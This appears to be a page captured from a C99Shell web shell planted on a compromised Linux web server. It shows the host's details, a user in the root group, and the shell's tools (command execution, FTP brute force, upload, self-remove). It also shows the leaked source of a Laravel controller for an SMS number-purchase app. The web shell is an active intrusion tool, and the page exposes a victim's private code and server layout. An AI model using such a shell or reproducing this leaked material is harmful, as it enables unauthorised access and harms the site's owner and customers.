!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NumberController.php (9.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\CustomerNumber;
use 
App\Models\Keyword;
use 
App\Models\KeywordContact;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
App\Models\Plan;
use 
App\Models\Customer;
use 
App\Models\FromGroupNumber;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;

class 
NumberController extends Controller
{
    public function 
phone_numbers()
    {
        
$data['numbers'] = auth('customer')->user()->numbers;
        return 
view('customer.numbers.index'$data);
    }


    public function 
get_numbers()
    {
//        if (!request()->ajax()) return response()->json(['status' => 'Not found'], 404);
        
$numbers auth('customer')->user()->numbers()->select(['id''number''cost''created_at','forward_to','forward_to_dial_code','expire_date','number_id']);
        return 
datatables()->of($numbers)
            ->
addColumn('forward_to', function ($q) {
                if (
$q->forward_to)
                    return 
"(" $q->forward_to_dial_code ")" $q->forward_to;
                else
                    return 
"";
            })
            ->
addColumn('purchased_at', function (CustomerNumber $q) {
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('capability', function (CustomerNumber $q) {
                
$number=$q->admin_number;
                
$capability='';
                if(
$number->sms_capability=='yes') {
                    
$capability '<span class="badge badge-success capability-badge">SMS</span>';
                }
                if(
$number->mms_capability=='yes') {
                    
$capability =$capability'<span class="badge badge-success capability-badge ml-2">MMS</span>';
                }
                if(
$number->voice_capability=='yes') {
                    
$capability =$capability'<span class="badge badge-success capability-badge ml-2">Voice SMS</span>';
                }
                if(
$number->whatsapp_capability=='yes') {
                    
$capability =$capability'<span class="badge badge-success capability-badge ml-2">Whatsapp</span>';
                }
                return 
$capability;
            })
            ->
addColumn('expire_date', function (CustomerNumber $q) {
                if(
$q->expire_date){
                    
$ex_date= new \DateTime($q->expire_date);
                    return 
$ex_date->format('d-m-Y');
                }
                return 
"N/A";

            })
            ->
addColumn('action', function (CustomerNumber $q) {

                
$renewBtn="";
                if (
$q->expire_date && $q->expire_date now()){
                    if (
\Module::has('PaymentGateway') && \Module::find('PaymentGateway')->isEnabled()){
                        
$renewBtn='<button class="btn btn-sm btn-info" data-message="Are you sure you want to renew <b>\'' $q->number '\'</b> ?"
                                        data-action=' 
route('paymentgateway::number.process') . '
                                        data-input={"id":"' 
$q->number_id '"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Renew</button>'
;
                    }
                }

                
$removeBtn=' <button class="btn btn-sm btn-danger" data-message="Are you sure you want to remove <b>\'' $q->number '\'</b> ?"
                            data-action=' 
route('customer.numbers.purchase.remove') . '
                            data-input={"id":"' 
$q->id '"}
                            data-toggle="modal" data-target="#modal-confirm" title="Remove" ><i class="fa fa-trash"></i></button> '
;

                
$forwardBtn=' <button data-id="' $q->id '" data-forward-to="' $q->forward_to '" data-forward-to-code="' $q->forward_to_dial_code '" type="button" class="btn-sm btn btn-info change-forward-to" title="Change Forward To"><i class="fa fa-reply-all"></i></button>';


                return 
$renewBtn.$forwardBtn.$removeBtn;

            })
            ->
rawColumns(['action','capability'])
            ->
toJson();
    }

    public function 
purchaseList()
    {
        
$user=auth('customer')->user();
        
$admin=User::first();
        
$numbers $admin->available_numbers()->select(['id''number''sell_price''created_at'])->get();

        return 
view('customer.numbers.purchase_list'compact('numbers'));
    }

    public function 
purchaseListGet()
    {
        if (!
request()->ajax()) return response()->json(['status' => 'Not found'], 404);
        
$numbers auth('customer')->user()->admin->available_numbers()->select(['id''number''sell_price''created_at']);
        return 
datatables()->of($numbers)
            ->
addColumn('cost', function (Number $q) {
                return 
'$' $q->sell_price '/month';
            })
            ->
addColumn('action', function (Number $q) {
                if (
\Module::has('PaymentGateway') || \Module::find('PaymentGateway')->isEnabled()) {
                    return 
'<button class="btn btn-sm btn-info" data-message="Are you sure you want to buy <b>\'' $q->number '\'</b> ?"
                                        data-action=' 
route('customer.numbers.purchase') . '
                                        data-input={"id":"' 
$q->id '"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Buy</button>'
;
                }
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }

    public function 
purchaseStore(Request $request)
    {
        
$request->validate([
            
'id' => 'required'
        
]);
        
$number Number::find($request->id);
        if (!
$number) {
            return 
redirect()->back()->with('fail''Number not found');
        }
        
$pre_number auth('customer')->user()->numbers()->where('id'$number->id)->first();
        if (isset(
$pre_number) && $pre_number->id == $request->id) {
            return 
redirect()->back()->with('fail''You have already this number');
        }
        
$customer auth('customer')->user();
        
$preReq NumberRequest::where(['customer_id' => $customer->id'number_id' => $number->id'status' => 'pending'])->first();
        if (
$preReq) {
            return 
redirect()->back()->with('fail'trans('customer.messages.already_have_pending_number_request'));
        }
        
$numberReq = new NumberRequest();
        
$numberReq->admin_id $number->admin_id;
        
$numberReq->customer_id $customer->id;
        
$numberReq->number_id $number->id;
        
$numberReq->save();

        
// TODO:: send email to customer here

        
return redirect()->back()->with('success'trans('customer.messages.receive_request'));
    }

    public function 
purchase_remove(Request $request)
    {
        
$request->validate([
            
'id' => 'required'
        
]);
        
$number auth('customer')->user()->numbers()->where('id'$request->id)->first();

        if (!
$number) {
            return 
redirect()->back()->with('fail''Number not found');
        }
        
$admin_number $number->admin_number;
        if(
$admin_number){
            
$admin_number->status 'active';
            
$admin_number->save();
        }


        
$numberRequest=NumberRequest::where('customer_id'auth('customer')->user()->id)->where('number_id'$number->id)->first();

        if(
$numberRequest){
            
$numberRequest->delete();
        }
        
$keyword=Keyword::where('customer_number_id',$number->id)->first();
        if(
$keyword){
            
KeywordContact::where('keyword_id',$keyword->id)->delete();
            
Keyword::where('customer_number_id',$number->id)->delete();
        }

        
FromGroupNumber::where('number',$number->number)->delete();
        
$number->delete();

        
//TODO:: Send a mail here to the customer and the admin as well
        
return back()->with('success'trans('customer.messages.number_removed'));

    }

    public function 
updateForwardTo(Request $request){

        
$numbers auth('customer')->user()->numbers()->where('id',$request->id)->first();
        if(!
$numbers) return redirect()->back()->withErrors(['msg'=>'Number not found']);

        
$numbers->forward_to_dial_code=$request->forward_to_dial_code;
        
$numbers->forward_to=$request->forward_to;
        
$numbers->save();
        return 
redirect()->back()->with('success','Forward number updated successfully');
    }

    public function 
buyNumber(Request $request){
        
$customer auth('customer')->user();
        
$number Number::find($request->id);
        if (!
$number)
            return 
redirect()->route('customer.numbers.purchase')->withErrors(['msg' => trans('Number not found')]);

        
$pre_number auth('customer')->user()->numbers()->where('number_id'$number->id)->first();
        if (isset(
$pre_number) && $pre_number->expire_date now()) {
            return 
redirect()->route('customer.numbers.purchase')->with('fail''You have already this number');
        }

        
$preReq NumberRequest::where(['customer_id' => $customer->id'number_id' => $number->id'status' => 'pending'])->first();
        if (
$preReq) {
            return 
redirect()->route('customer.numbers.purchase')->with('fail''You already have a pending request. Please wait for the admin reply.');
        }
        
$numberReq = new NumberRequest();
        if(
$customer->type=='reseller_customer'){
            
$numberReq->admin_id $customer->admin_id;
        }else{
            
$numberReq->admin_id $number->admin_id;
        }
        
$numberReq->customer_id $customer->id;
        
$numberReq->number_id $number->id;
        
$numberReq->save();

        return 
redirect()->route('customer.numbers.purchase')->with('success'trans('customer.messages.number_purchased'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--